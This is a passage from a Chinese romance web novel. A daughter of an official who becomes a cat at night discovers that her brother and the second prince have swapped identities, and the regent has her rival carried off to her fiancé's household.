就在她的爪子碰到脸盆壁时,才发现以她之力,压
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根没法把脸盆整个推倒,水洒不到谢燎身上。
而且,真要把一碰水浇到他身上,也确实有点过分了。
所以她前肢往上攀,试图将爪子伸入盆里,沾些水甩到他身上。
福宁是这样执行的,可是前肢不够长,只能努力去攀。
直到只剩下后腿站在桌面上,她的前胸贴在盆的外壁,爪子即将要碰到水时。
谢燎突然动了。
心虚的她一下子僵住,敌动,她先不动,动作保持。
谢燎没有看她,顾自将书本倒扣桌上,抬手去将脖颈处的湿毛巾取下。
取下的毛巾正要放回脸盆里,他目光瞟了眼趴在脸盆上的那团毛茸茸,她低着头,爪子在距离水面一指甲盖的空中僵持着。
不知道的还以为水盆里有鱼,她要抓着吃呢。
谢燎攥着毛巾的手,在距离水面一寸高时,蓦地松开。
毛巾落水,溅起的水花高度,恰好洒了福宁一脸。
她紧紧闭上眼,水顺着睫毛,一直往下流。
啊啊啊!谢燎洗脖子的水,洒了她一脸!
福宁再睁开时,重重抬起爪子想往水盆里拍去。
视线却又被谢燎诡异的动作吸引住。
他,他竟然——
福宁不可思议地看着,她见到谢燎的脖子起了一层皮,看得她后背发凉。
这是什么毛病?
谢燎正一脸**以为常地对着铜镜去撕那层皮。
一点一点……
福宁瞳孔放大,亲眼看着原本覆盖在他脖子上的那层皮,被越扯越长。
古怪的是,他的皮囊下,没有一点血,竟还有一层完好的皮。
福宁看得怔愣住,她心里有一个预感,她即将会知道一个惊天大秘密。
她就这么站着靠在盆上,甚至忘了刚才想干嘛,更未曾察觉那盆中的水自泼湿她脸颊后,已悄然浅下去许多。
谢燎的指尖正抵在颈侧,撕开那层精心伪装的皮囊。
粘连着脖颈肌肤的易容面皮被一寸寸剥离,露出了其下截然不同的轮廓。
福宁视线锁定他的脸,紧紧盯着,不容错过一点。
她那颗因激动与惊诧而剧烈跳动的小心脏,在彻底看清面皮之下那张真实面容的瞬间——
骤然死寂。
面皮之下,并非她所以为的任何一种可能。
不是别人。
而是,她那个本该远在邕州求学、今日方才归来的兄长——赵凫泽。
第113章 被哥哥伤透了心
他是哥哥,那……
如今她家中的那位,是谁?
二皇子吗?
……
空气中仿佛有一只无形的手,死死扼住了福宁的咽喉,她浑身的血液都似要倒流,僵立在原地,瞳孔慢慢涣散,甚至都忘了自己是猫还是人。
眼前的一切是真实的吗?
她会不会其实睡着了,还没有醒过来。
面前的哥哥是假的,这里也不是二皇子府,其实她只是在做梦,只要等醒过来,一切都烟消云散了,哥哥还在家里。
福宁为自己编织了一个假象,最终却还是说服不了自己。
她不愿意承认也不得不承认,面前发生的事都是有迹可循。
比如,哥哥不止一次提到,遇到事情解决不了可以寻找二皇子帮忙。
福宁到现在也不知道,给她写信的哥哥,是哪个哥哥——哦不对,该说是不是哥哥。
再比如,现在居住在赵府的,她的“哥哥”举手投足都与她记忆中的哥哥有很大不同,性格变了,对她也疏离许多。
白日在京郊碰见时,她就觉得他有古怪,只是怎么也想不到,哥哥和二皇子竟能胆大到互换身份,偷梁换柱。
二皇子就算了,可哥哥是怎么想的,这可是真的能让赵府抄家灭族的大罪啊!
她愣愣地看着这张熟悉又陌生的脸,对面的赵凫泽却好似没注意到似的,不理会这只小猫的沉重目光。
赵凫泽重新拾起毛巾,擦一擦还残留部分易容痕迹的脸。
水盆里的水越发浅了,福宁倚靠着,还沉浸在自己的情绪中,无法自拔。
下一瞬,水盆突然朝她这侧倾倒。
哗啦啦,一盆半温不凉的水,尽数倒在了她的身上。
随即,就是水盆的边缘与桌面撞击,发出“哐啷当”的聒噪音。
直至这突兀的声响在寂静的阁楼中彻底消散。
清水顺着光洁的桌面汩汩蔓延开来,径直流向桌边的赵凫泽,他猝不及防,来不及躲,已经被清水浸透了衣袍下摆。
他下意识蹙起眉头,面有不悦。
阁楼外守候的侍女听见这声,当即便要推门进来,进门前询问一句,“殿下,可是出了什么事?奴婢——”
“别进来。”赵凫泽语气加重,让门外的侍女不敢闯入。
他低头看留下深色的水痕的下摆,“啧”了一声,眉目不善地去看始作俑者。
可桌上哪还有小猫的痕迹?
赵凫泽没有第一时间去换衣裳,而是抬手去掀开那倒扣的铜盆。
铜盆掀开的一瞬间,从未消失的小猫又出现了。
原来是被扣在铜盆之下了。
福宁垂着头,成了落汤猫,可她连抖动的动作都没有,只是丧气地趴在桌面上,刚才被铜盆盖住的时候,她也没有任何挣扎。
赵凫泽感受到她那莫名其妙的说来就来的委屈,皱了皱眉,心想摄政王养的小猫除了可爱一无是处。
其他的猫干坏事都知道跑,掀翻了水盆她却还能被原地倒扣,她自己干的坏事连累的他身上湿透,她却还摆出委屈之态。
“呵。”他冷笑一声,眼底的不悦却是消散许多。
但还是做出了一个惩罚的动作,抬手在她脑门上拍了一下。
经这一拍,福宁却越发颓废地瘫软下去,整只猫就那般一动不动地趴在湿漉漉的桌面上,空洞地看着自己湿了的猫爪。
她很失望,很伤心,很难过,感觉浑身都被沉甸甸、冰凉凉的水压着一般。
她想不通,前阵子自家出了那么大的事,身在京城的哥哥却袖手旁观。
当然,福宁也知道他“成了二皇子”不方便出面。
可她照样失望。
哥哥变了。
变成了她不认识的样子。
哥哥不仅不出手帮助,甚至他自己的事也不告诉家里。
而且!福宁忽地又想起一事,猛然抬头,看向另一个方向,赵凫泽已经走到里间换衣裳,她是看不见了。
她的目光幽怨,哥哥不止是瞒着,还落井下石!
当初爹爹来二皇子府求助,他还真好意思收礼收钱啊!他的良心呢?良心不亏吗?
看着她们一家子在家喝西北风,哥哥那时候在做什么?是不是在吃山珍海味?
信里还骗她要游学需要五百两,他是什么目的?
他到底知不知道,那五百两是怎么来的?是他的亲妹妹——一点一点偷来的啊!
为了那五百两,都险些让谢珩玉发现了。
可他倒好!福宁心里懊悔不已,早知道那五百两不寄去邕州了,现在是鸡飞蛋打。
想到这里,她的心头像是在滴血
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。
福宁忽然站起身,将周身的水甩干,冲向里间,飞快且迅速朝他后背扑过去,龇牙咧嘴地张开爪子,朝他身上一挠。
她尖锐的许久未曾修剪的爪子,当即将他的衣裳扯坏,还在他后背留了抓痕。
“喵!”
抓完人,她也没消气,扭头逃跑,往关了的窗子重重地撞出去。
赵凫泽感受到后背一痛,回过头,只见着冲出窗外的猫,他下意识抬步要追,却碍于易容术已卸,止步于窗前。
彼时已是宵禁。
福宁跑到大街上,这会儿已经忘了她该去哪里,只寻着本能的方向往赵家的方向跑。
跑跑累了就慢慢走几步缓缓。
一边跑一边“哭”。
江月娇骗她,崔兰亭骗她,现在连哥哥也骗她。
她哭得背部耸动,“喵,喵,喵,喵呜”的苦楚的叫喊声不小,坊间睡着的人都被她吵醒了,她还不自知。
福宁没意识到自己发出的声有多响亮,但小猫耳朵灵敏,经过某户人家时,清晰地听到里面传出的对话。
“谁家的猫,能不能管管了?”
“听着像是野猫,怕是到了时候,闹春呢吧?”
“这动静可不像是闹春,我去抓来看看。”
紧接着,木门吱嘎一声响。
吓得福宁“哭”声一顿,魂都要吓飞了,随即哭得更响亮,四爪并用,疯也似的朝前狂奔而去。
好在那位出来抓猫的女子被她丈夫拉回去了,“宵禁了,你疯了吧!”
没过多久,到了赵家门前,福宁才意识到自己跑错了,这会儿回家怕会给家里带去麻烦,故又转身离去。
她沉浸在自己的悲伤里,越发觉得自己像是个无家可归的流浪汉,叫累了就不叫了。
远处数道马蹄声响起,福宁站在灯笼下,警惕地停下步抬头,她在光亮处,看不清那头有哪些人。
对方倒是看清了她,有人激动地喊了句:
“快去禀报王爷,小猫找到了!”
后就有人离去。
福宁一听是来寻她的,是摄政王的人,干脆原地瘫软下来,将毛茸茸的小脑袋搭在前爪上——她实在是跑了太多路,累得一丝力气也无了。
远处的马蹄声渐次清晰,福宁勉强抬起眼皮,是谢珩玉麾下的京影卫。
第114章 准备调戏摄政王
很快,纷沓的马蹄声中混进了一道不同的,听着更急也更重。
她疲惫地仰起小脑袋,眸光原本涣散,却在看清那策马从浓黑夜色中疾驰而出的人影时,骤然凝住。
谢珩玉来得也太快了些吧?
也对,小福这么久没回去,他肯定不放心,一直在外寻找吧。
如今谢珩玉知道了她的秘密,说不准会将小福“丢失”这么久的账算在她头上……不过本来也是她的问题,她想着。
那厢。
谢珩玉至月亮能够照耀到的地方,清冷的光辉洒在他的肩头,为他周身镀上银边,福宁的双眼重新聚焦在他的脸上。
他神色冷峻,在触及地上那一小坨狼狈的她时,稍微缓和,眉峰不可抑制地皱了皱。
眨眼间他就到了与她同一盏灯笼下。
谢珩玉下马,走到她面前。
他的下摆出现在福宁的眼前,带着夜风的凉意,他语气透着兴师问罪的味道,“去哪里弄得……这么脏。”
能不脏吗,福宁光看自己黑黢黢的爪子也知道。
本来身上就是湿的,加上她身体矮小,在街上跑的时候,肚子上的白毛早就被蹭黑,更不要说四个爪子了。
被说脏,她更加委屈。
她就说之前谢珩玉为什么会跟猫说话,现在想来,是早就知道了她的秘密,究竟是问小福还是问她,他自己心里清楚!
谢珩玉是抱着什么样的心态,来找她的?
现在,说不准就是借着小福,故意说她呢!
不看谢珩玉,福宁背过身去,用尾巴对着他。
其实尾巴也不对着他,她一点都不高兴,半湿的尾巴垂在地上,沾了一地灰尘。
周围的京影卫围了一圈,防止好不容易找到的小猫再逃窜出去,此刻,静悄悄地看着以王爷和小猫僵持着。
一个是人,一个是猫,也不知道在僵持点什么,直接抱走不就好了吗。
那养猫的不都这样?猫丢了找回来,要么打一顿后原谅它,要么直接原谅它,在外面沉默着用气势压迫那叫什么事啊?
这话,京影卫是不敢说。
诡异的静谧夜色下,也不知道是谁发出一声极低的叹息,似无奈。
谢珩玉看着她脏兮兮的背影,和不知道在眺望哪个远方的小脑袋,他笔直的背弯了弯,俯下身伸手抓住她颈后部位——这也是她身上为数不多的还算干净的部位。
将她提起,托在手臂上。
福宁突然抬头,脸上有点脏,但谢珩玉还是能看出她眼中的委屈,感受到她情绪与往常很不一样。
究竟是受了谁的欺负,让她这般狼狈憋屈,到宵禁了还没寻着回家的方向。
谢珩玉压下眼底的疑惑与冷意,将她的脸按进自己的怀里,“先回家。”
福宁的脸被迫压在他胸前,耳朵都能听着他的心脏跳动。
听见他这句意味不明的“先回家”,她品出了言外之意——
后算账?
是了,他知道今日小福失踪是她的行为,肯定要跟她算账的。
福宁不挣扎了,泄了气地想,要算就算吧,谢珩玉都知道她的秘密了。
好不容易爹爹的事有了转机,哥哥的秘密又成了一道催命符,像是悬在脖子上随时要落下的铡刀,她自己又一堆破事,身边还有个虎视眈眈要跟她算账的摄政王。
哎,未来怎么办啊……
回到摄政王府,谢珩玉第一时间让人准备热水,听到要洗澡,福宁的身体不可抑制地一抖。
谢珩玉以为她又要跑,单手控住她,按在她的脖子上,“洗干净。”
“喵嗷——”不是她不愿意洗,而是,被知道身份的谢珩玉洗,太丢脸了。
**无效。
福宁被放进只有三寸高的浴盆里,谢珩玉皱着眉,看着她一身脏污,他眼中的嫌弃刺痛了她。
于是她更不愿意了,
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扑腾着就要从两寸高的水面爬出来。
谢珩玉单手拿着皂角,力度不小地拿皂角往她身上擦,擦完又用她的****搓出泡。
福宁越想跑,他的力道越重,搓到最后,眼睛周围的****都起泡了,她的眼睛都睁不开了,一闭上彻底糊住了。
只能乖乖坐在浴盆里,闭着眼睛任他洗。
自己都看不到自己现在的样子,只盼着他能快些。
岂料,洗着洗着,头顶突然发出一声低笑,“炸毛了都。”
福宁:“……”
藏在水下的两个爪子捏紧了。
待好不容易洗干净,毛发也干燥后,终于可以爬上床。
前脚上榻,后脚某人就将她搂进怀里。
她心里一个咯噔。
不对啊不对啊,谢珩玉都知道她是谁了,为什么还要做出这么暧昧的举动,她可不是小福啊!
意义完全不同了啊!
福宁焦虑极了,想离他远些,可是再怎么躲远,都会被他抓过来。
身后,谢珩玉看着她抗拒的模样,愈发觉得有意思,刻意捉弄她。
显然已经忘了早上的“教训”。
他忘了,福宁却忽然想起来了。
她细细地想了想他早晨时为何会放手,让白昼带她出去,想了好一会儿才想通了关窍。
别看他这会儿抱得顺手,其实他很容易害羞吧,如果她反客为主去触碰他,他就会害羞!然后放手?
虽然触碰外男的身体,并不是一个大家闺秀应该做的。
但一回生二回熟,光洗澡她都被他洗了两次了!
她触碰他是为了找到能够反制他的“武器”,总不能她一直被拿捏吧。
而且,福宁知道谢珩玉抱她并不是喜欢她,肯定是为了戏弄她!看她挣扎他一定觉得很好玩吧!
越想,她心里越气,化悲愤为动力。
福宁唰地转身,对上谢珩玉那双闭着的眼睛。
第115章 谢珩玉的兵荒马乱
她想和早上一样,爬到他的肚子上,奈何他的手抱着她,她跑不了那么远。
哼,手上的力气那么大,定是装睡。
福宁凑过去,凑到他胸膛上,用爪子往某处一按。
随即,她能清晰地感受到,他的上身动了动,也后退了些。
再看他的眼睛,还是闭着,嘴唇倒是抿得笔直。
福宁的身体不受控制地发出咕噜咕噜的声音。
谢珩玉闭着眼,听着她身体的声音逐渐靠近,直至一片毛茸茸贴上了他的脖颈,起先是痒痒的。
他忍住伸手挠的冲动,喉结一动。
下一瞬,清清凉凉的小猫唇——也可能是小猫鼻,碰到了他的喉结,温热得令人酥麻的气息落在喉结处。
福宁还没怎么样呢,还准备继续往他胸上抓,突然,抱着自己的人撒了手。
谢珩玉瞬间睁开眼,惊坐起身,看也没看她,下榻出房,脸色严肃地就像是外面有紧急密报在等他似的。
福宁愣了一瞬,随后扬起胜利的微笑。
早说摄政王这么好对付嘛!
现在她明白了,以后就用这招了!
福宁张牙舞爪地瘫在床榻上,现在整张床都是她的咯!
被意外“攻击”反主为客的谢珩玉仅穿着寝衣走到房外,他的下颚线绷得极紧,冷峻的面容看似与平常处理公务时一般无二,但若来个仔细观察的人,还是能看出不同的。
比如,他紧抿的薄唇和垂在两侧的手臂,手臂并不是自然地垂着,寝衣下的肌肉同样绷着,仿佛是不知道该把手往里放。
但很快,就有了方向。
谢珩玉伸手去摸喉结处,那处明明和其他地方温度一样,可他却觉得灼热得发痒。
他很怀疑,小猫的毛留在他身上了,不然为何离开了房中他还是觉得泛着痒,还是说——
方才没给她洗干净?她身上有跳蚤?
他的指腹覆在上面,用短指甲挠了挠,倒是没挠下毛发和跳蚤,自己脖子上的皮肤红了。
夏风吹在他身上,他在廊下站了一刻钟,在觉得好些。
他缓缓回过神,指腹未从喉结处移开,没着急进屋,站在廊下暗暗思量赵福宁此举的用意。
莫说她变成猫,就算她变成猪,也改不了她骨子里是个人的事实,还是个大家闺秀。
她就这么习惯与他相拥而眠吗?
呵。
白天拒绝他的时候,界限划得清晰,对他退避三舍。
晚上倒是投怀送抱得殷勤,方才究竟是亲他了还是没亲?谢珩玉至今没分清,总之她靠的很近很暧昧就是了。
女人的心究竟是怎么长的,赵福宁为何口是心非的?
就是不知,等到她知道——他已经发现她的秘密之后,她还能不能主动对他投怀送抱了。
这个答案,谢珩玉很长一段时间都不会知道,他暂时还不打算与她坦白。
就在谢珩玉思索的这一刻钟内,房中的福宁已经美美入眠。
当他进屋,面对的就是床榻上睡得四仰八叉、惬意至极的始作俑者,心里有一股莫名的不爽。
看她不爽。
赵福宁一个姑娘家,睡姿怎的一点不讲究,四条腿各睡各的,隐私部位都……算了,说到底也不是她的隐私部位,她当然是无所谓的。
谢珩玉嘴角扯出一抹冷笑,眼底的光却是暖的。
他欲抬手盖被,触及她浑身厚重的长毛,又撤下的薄被,转而去取了一方干净的帕子,盖在她身上。
帕子的大小,正好遮住她的小身板和……隐私部位。
谢珩玉多看了她两眼,意外察觉到什么,手指伸向她的眼周,怕吵醒她,所以只是轻微碰了碰。
依然能感受到指腹上的湿意。
她……是哭了吗?
反正是没见过小福哭的,那只有赵福宁了。
忽然联想到方才在街上,她湿漉漉浑身肮脏的狼狈可怜之态,谢珩玉的心一紧。
难道真的是受了天大的委屈,导致在睡梦里还忘却不掉。
谢珩玉眉头瞬间蹙起,似笼罩阴云,幽深的眸中暗藏波澜。
他没有上床,为她遮盖好后,再度出了房门。
“白昼。”
“属下在。”
“去查,今日赵家还出了什么事。”廊下,谢珩玉的声音发冷,隔着一道房门,传进房中却变得温暖了。
可惜睡着的福宁,不会听见。
白昼不明白王爷为何去床榻上躺了一下,出来就要查赵家,说起赵家……今日不是禀报过了吗?
“王爷,是江家将江二小姐移出了族谱,江夫人带着江二小姐去赵家道歉,最终见赵家不宽宥,便将江二小姐扔在赵家了,那江二因杖刑受伤,昏倒在赵家,赵家人好面子忍着气还给人请了大夫,把江二留在赵家了,还是赵小姐亲自去请的大夫呢。”
谢珩玉沉默了一会,“你白日没说这样细。”
白昼心里冤啊,他该总结的不都总结了吗,也没漏掉重点啊,平时话多不挑重点也被王爷说,现在挑重点也不对……白昼认命地低头,“属下知道了,以后定事无巨细。”
谢珩玉盯着白昼,一本正经地严肃补充,“关于赵福——赵府的事,事无巨细。”
“是,”白昼主动问,“王爷,关于凶犯江二,要放任她留在赵家吗?”
当然不。
谢珩玉偏头,余光还能看见身后房中透出的烛光。
对于寿安伯府的判决,皇兄已经有了决断,江家虽有过,江家二女所犯之过,皆是未遂,因念其祖上有功,不能赶尽杀绝。
在外人眼中,剥夺爵位的继承权已经是损了寿安伯府根基,倘若还治江二流放或牢狱之刑,容易引起其他官宦世族的不满,他们虽与江家没有共同的利益,但都身为祖上有功绩或勋爵的家族,不免生出兔死狐悲,物伤其类之情。
因此,江家的事到此为止,皇兄之意很明确,谢珩玉是默认的。
可他想到赵福宁受了委屈,恰好今日经过伯府,顺手施压,让寿安伯府往后少惹事,顺便将江二所做恶行揭开。
他原是想让赵福宁开心些,没想到弄巧成拙。
那江家真不是个东西,就把女儿丢在那儿了……谢珩玉也确实没想到,赵福宁这么能忍,还给江二请大夫。
他同样也没想到,只因为江二留在赵府,赵福宁就那般委屈,睡觉时都哭鼻子。
哎。
那她倒是别管江二啊,人也不是她弄伤的,一个坏东西直接丢到府外去不就好了。
谢珩玉眉头越拧越紧,“明天派人去赵府,把江二抬出来。”
白昼眸光清澈,“抬去哪里?”
谢珩玉一噎,“当然是江——”突然灵光一闪,改口,语气透着恶意,“江家不要这个女儿,本王记得她还有个未婚夫啊。”
白昼一愣,“坏透”的王爷又回来了,“属下明白了,明日天亮就将人送去长平侯府。”
谢珩玉颔首,忽而又摆手,“别太早,等他们睡醒。”
总要都看见才行,不然某人都不解气。
解决了这事,谢珩玉重新回到房中,发现盖在床榻上的那一团已经换了个姿势,还是很不雅,还踢掉了帕子。
他走过去,伸手在她柔软的脑门上摸了摸。
随即,手掌下的小猫惊醒,眸光清澈又迷糊地看着他。
谢珩玉立即认出,是小福回来了。
第116章 跟二皇子生气
次日。
福宁昨夜睡得安稳,今早醒的也早。
刚出自己的院子,就见耿嬷嬷往厢房里送吃食。
赵家近来的伙食不太好,早膳就是粥和小菜,没有荤腥。
刚送进去,就被江月娇嫌弃了。
但江月娇也知道自己的处境,不敢将嫌弃宣之于口,她的表现方式也就是不吃而已。
耿嬷嬷也不管她吃不吃,倒是福宁,站在厢房门边怒目而视。
一想到自家省吃俭用,还要给江月娇请大夫看病,一想到自己每天早晨伙食固定,而哥哥这时候吃香喝辣……不能想,一想就气得不行。
福宁深呼吸一次,然后忿忿道:“你爱吃不吃,不吃就让嬷嬷端走,有的是人能吃!”
“你!”江月娇面对赵福宁的挑衅,也只能趴在榻上受气。
福宁对耿嬷嬷道:“嬷嬷端走吧,一天给她吃一顿饭就行了,命吊着等人来收。”
江月娇原本因为寄人篱下,打算先忍一忍,哪料她这么狠,当即指责道:“赵福宁!你怎么这么歹毒!真该让崔兰亭此刻来看看你的模样,看他还喜不喜欢你!”
福宁扯扯嘴皮,靠在门边,平淡陈述,“你都这样了,还想着他呢,你很快就要被退婚了。”
福宁已经真正了解崔兰亭和崔家了,她这话也是自己的经验之谈。
哪料,江月娇比刚才更气了,苍白着脸指着她,“你很得意吧,享受着崔兰亭的喜欢,还攀上了摄政王,如今还来嘲笑我,你且看着,将来你会不会被摄政王厌弃!”
耿嬷嬷本来还纠结这粥要不要端出去,一听江月娇这话,当即不犹豫了,将粥和小菜端走还不忘骂一句,“什么东西,救一条狗都知道摇尾巴,老爷和夫人这是救了个白眼狼啊!”
“小姐快别与她掰扯了,这屋子里乌烟瘴气,不能要了。”
听着嬷嬷骂的好听,福宁自己都忘了反驳,最后扬起脑袋冷哼一声,转身跟着耿嬷嬷走了。
大早上的心情都好了许多。
奈何,振奋的小心情没有维持多久,在碰见赵凫泽——在碰见假赵凫泽时,福宁的脸色瞬间又苦了。
“妹妹。”赵凫泽还是对囡囡这两个字难以启齿,想了许久,觉得叫妹妹也算亲近,应该不算出错。
他面上带笑与她打招呼,却见她脸上的笑容瞬间消失,听她语气不善地回道:“干嘛。”
福宁自然知道眼前这位就是二皇子了,二皇子与哥哥两人合谋骗的她家好苦,反正眼前之人要用她哥哥的身份,她也无需把对方当二皇子敬着。
“赵凫泽”还是第一次听到赵福宁这么不耐烦的语气,一怔,自个儿脸上的笑意没减少一点,他疑惑道,“谁给你气受了?”
说着,视线往她身后扫去,可不就是江月娇暂住的厢房吗。
赵凫泽懂了,“哦~你要实在生气,我们把她扔出去好了,左右那伤也不是咱家打的。”
他随意且理所当然的语气彻底惹毛了赵福宁。
赵福宁视线落在他这张与哥哥一模一样的面皮上,可二皇子却装不出哥哥的半分稳重,根本都不像嘛!
难怪昨日会在京郊碰见假哥哥和真哥哥,恐怕是这位假哥哥悄悄回京,假冒二皇子的真哥哥坐不住了,怕他露馅所以想拦,可哪料会遇上她。
遇上她,就代表赵府全家都将知道赵凫泽回来了,故而真哥哥想拦也拦不了了。
这二皇子也真是的,既然与哥哥合谋了,为何不听话一些,就他演的这样迟早露馅,还不如不回来呢!
“扔什么扔,哥哥你懂事一些吧,家里已经够难的了!”福宁口吻严肃,满面愁态,不单是指江月娇,更是在伪装互换身份这件事上,希望二皇子可以收敛些、装得成熟些。
否则若是暴露……不,不能暴露。
即便福宁对哥哥再失望,也不得不为他俩保守秘密。
赵凫泽见她说教的姿态和表情,脸上的笑意收敛了些,取而代之的是疑惑,他没想到像赵凫泽那样稳重的人,在家里竟会被妹妹压制,更看不出来赵福宁看起来乖巧懂事的女儿家,竟然这么凶。
昔日同窗说过回家没几天就会遭嫌弃,到此刻,赵凫泽才有了切身体会,他不过回来一天,赵福宁的态度就翻天覆地了。
他语气弱了些,“朝我发什么火。”
走远的耿嬷嬷忽地又走回来,“大公子,小姐,你们还没用早膳吧,老爷和夫人在前院,等你们一起吃呢。”
赵凫泽眉头微拧,视线从福宁的脸上扫过,“走吧。”
“我不去了,你们去吧。”福宁扭过头,不去看他,转身就走。
赵凫泽见状也不管她了,正跟着耿嬷嬷走了几步,却见方才扭头而去的少女又快步追上来,还赶超了他。
福宁一语不发,心里堵得慌,可又怕这假哥哥、真皇子在她父母面前漏了陷,她作为一个意外知情者,很难置之不理。
第117章 福宁要去会会
“赵凫泽”看着赶超在前的少女背影,好笑地摇摇头,既觉得她一会儿一个样,怪任性的,又觉得只是小孩心性,本该如此。
这样的性子才好嘛,这天底下,要是谁都和她哥哥一个性格,那岂不是无趣至极。
福宁快一步进入膳厅,早膳与前几日一样,都是粥配小菜,不同的是多了两个鸭腿。
想也知道,这两个鸭腿是给她和“哥哥”的。
“哈,我跑得快,这两只腿都给我啦!”福宁故意道,说着还把放鸭腿的碗往自己眼前扒拉。
赵应与容婉笑而不语,只当是女儿闹着玩。
后一步进入膳厅的“赵凫泽”目光掠过桌上的小菜,眸中微露讶异,很快又压下去。
昨日赵家为他接风,晚饭不说奢靡,也还算丰盛的,与当下的早膳相比,简直是云泥之别。
好歹是原来的侍郎府,早膳竟然就光喝粥……
当下,他才明白赵家清贫到了什么程度。
福宁看他的样子,一下就猜到了他的心里,“哥哥,或许你吃不惯,但今后得习惯哦,三荤三素一汤的日子已经过去了。”
赵凫泽点点头,入乡随俗地坐下,他虽是皇子,但喝粥也没什么委屈,不是还有个鸭腿吗。
此时,容婉见女儿还没有松开放鸭腿的碗,温声道:“好了囡囡,快分一个给你哥哥。”
赵凫泽开始假客气,“没事,妹妹喜欢就都给妹妹。”
福宁偷偷瞧他一眼,心里冷哼,将碗推到中间,在赵凫泽伸筷子前,她率先夹起鸭腿放进母亲的碗里,懂事道:“娘,你吃,你和哥哥吃,我昨晚吃撑了不宜再吃多了。”
容婉欣慰女儿懂事,也难过自家日子清苦,娇养长大的女儿竟连鸭腿都舍不得吃,“傻囡囡,爹娘早就吃过了,这两个是给你们留的。”
福宁:“我才不信呢,娘吃,娘不吃我也不吃。”
赵凫泽看着眼前母慈女孝的一幕,心里五味杂陈,伸出去的筷子刚碰到另一只鸭腿:……
他也不好吃独食了,遂将另一只鸭腿夹进赵应碗里,“妹妹说的对,爹娘吃。”
福宁目的达到,脸上笑意更深,这两只鸭腿给爹娘吃最好,她自己嘛等晚上变成猫,去摄政王府会有好吃的。
至于这位假哥哥……兜里指不定揣着多少钱呢,肯定会出去偷吃的。
只有爹娘老实,真的啥也舍不得吃。
赵应与容婉看着碗里的鸭腿,眸中泛起水光,还要推却,此时赵凫泽却忽道——
“爹娘放心,我今日还要去拜访二皇子,想来能在二皇子府上吃些好的。”
……
他语毕,另外三双眼睛就看着他。
容婉叹息一声,这实在不像儿子会说出来的话,毕竟儿子不是贪吃的人,这话必然是在哄他们了,“也好,你是二皇子伴读,回来是该去二皇子拜见一下。”
福宁咬了咬腮帮,“也对,二皇子府肯定很多好吃的。”
“赵凫泽”看一眼明显不高兴的赵福宁,心想这个孝顺姑娘肯定也是嘴馋了,于是大方表示,“妹妹跟我一起去吧。”
“这怎么行,”容婉摇头,“你去拜访二皇子,带你妹妹过去吃东西,旁人见了怎么想。”
赵凫泽认真道:“无妨的,我刚回来,妹妹黏我也是正常的。”
福宁一口粥还在喉咙里,咽下去时,在思考去二皇子府的可行性。
哼,能在做人的时候,去亲哥面前转悠一圈,欣赏一下他的伪装,倒是也不错?
想着,她迅速放下筷子,“我留肚子了。”
三双眼睛朝她看来。
父母眼中是无奈,假哥面上是笑意。
容婉拗不过,顺着她道:“你真要去,记得向二皇子表示感谢,那日在宫中多亏他一起寻你。”
福宁点点头。
赵应跟着放下筷子,“空手去不礼貌,家里实在没什么东西能让你们——”
“打住!”福宁忙道,又看向茫然的假哥,“哥哥和二皇子相熟,而且这次又不用求人家办事……若真要拿礼,叫哥哥用私房钱去外头随便买点吧。”
“赵凫泽”眸光清澈,“你们还给他送礼过?”他低头看看清淡的粥菜,语气不可思议。
赵应还未回答,赵管家又匆忙赶进来,“老爷,夫人,外头来了一批京影卫,说是奉摄政王之命来将犯人江氏押走。”
这下,一家子都放下了筷子。
按照京影卫的行事作风,办公事都是极为迅速的,抄家押人都是拿手活,生怕慢一步让人跑了,从不会敲门等通禀。
赵应连忙起身要赶往后院,“他们去拿人了?”
福宁也跟着起身往外跑,不知道摄政王在搞哪一出。
岂料管家道:“没呢老爷,一行人都在府外,问您是要他们来拿人,还是咱自己丢出去,礼貌得吓人呢。”
赵应怔住。
“赵凫泽”的视线频频看向赵福宁,见她也是一脸迷茫。
容婉是一刻也不想多留江月娇,闻言最先说话,“让他们进来拿人吧,咱们丢出去像什么样子,你直接将人领后院去。”
“是。”赵管家立刻赶出去。
随即,就见一队京影卫目不斜视地步入府中,跟着赵管家去后院抬人。
那厢,江月娇还沉浸在没喝到粥后悔、和只能喝粥而恼怒的两种交织情绪中,忽听院中脚步声渐近,以为是下人送吃的来了,于是忽视自己饥饿的状态,咒骂道:“别再送什么下人吃的东西给我!我不需要施舍!”
说完,才察觉出不对劲来。
脚步声不止一道,且节奏一致,伴随着声音靠近,压迫感越来越强,江月娇突然不安起来,紧张地扭头看向门处。
“带走!”京影卫一句废话都没说。
为首的下了命令后,江月娇眼睁睁看着他们将担架放进房中。
她意识到不妙,惊恐道:“你们干什么,你们要干什么?”
一边说,一边往床里侧蛄蛹。
第118章 把她放在长平侯府门口
因为趴在被褥下,且有伤的缘故,她的下半身蛄蛹得很慢,唯手快。
京影卫很怕她衣衫不整,上前时没将被褥掀开,隔着被褥直接将明显在动的两只脚抓住,一拽。
“啊——救命,你们干什么——”
江月娇的脚被捉住后,人便被拖了出来。
几个京影卫将她放在担架上,她本是趴着的,到了担架上也还是趴着,被褥盖在她的身上,却没能盖住她的头。
赵家四口人,外加管家嬷嬷他们,齐齐看着人被抬出去,无人心疼。
“啧啧。”是“赵凫泽”发出的声音。
江月娇从正门被抬出去的那一刻,扬起头,与福宁的视线对上。
她满面屈辱,原是想破口大骂的,可转眼见府外已经站了不少路人,那些路人纷纷议论着,话题从“来抄赵府了?”变化到“这个女人是谁?”
江月娇还是丢不起脸,咽下这口气,没有破骂。
她只是恨,为什么此刻在担架上的是她而不是赵福宁,为什么赵福宁总能让她丢人,为什么赵福宁总能看见她的狼狈。
最后,她伸手将背后的被褥一拽,把自己遮掩在被褥之下,不见天日。
京影卫的小头目面上高冷,行为却十分规矩地走向赵家四口,“叨扰,卑职等奉摄政王之命将江氏遣送回家,长平侯府。”
长平侯府?
福宁眉目紧锁,京影卫汇报完转身离去,府外的路人也逐渐散去。
容婉舒口气,“这样好,崔江两家该是一对!”
赵应还不适应京影卫的好脾气,摸不着头脑,“摄政王此举是不是有什么深意?”
他其实还想问,摄政王何时这么善解人意,还帮他赵家解决麻烦……这背后,摄政王是不是有什么图谋?难道是警告赵家,不要与太子再有纠葛,否则下场就和江家一样?
赵应暂时只能想到这一层,他却没看见,自己在问出这话的时候,他的“儿子”别有深意地看了一眼他的女儿。
*
有好事的闲散路人,竟为了探知担架上的人究竟是谁,而跟了一路,到了长平侯府门前。
长平侯府门外看守的护院见不远处来了京影卫的人,以为他们只是路过,还不当回事。
京影卫抬着担架,后头跟了不少围观群众,连侯府护院都有些意动,想去一探究竟,瞧瞧京城谁家又出了事。
岂料,护院还没擅离职守,那担架经过府门前时,竟就直接停下了。
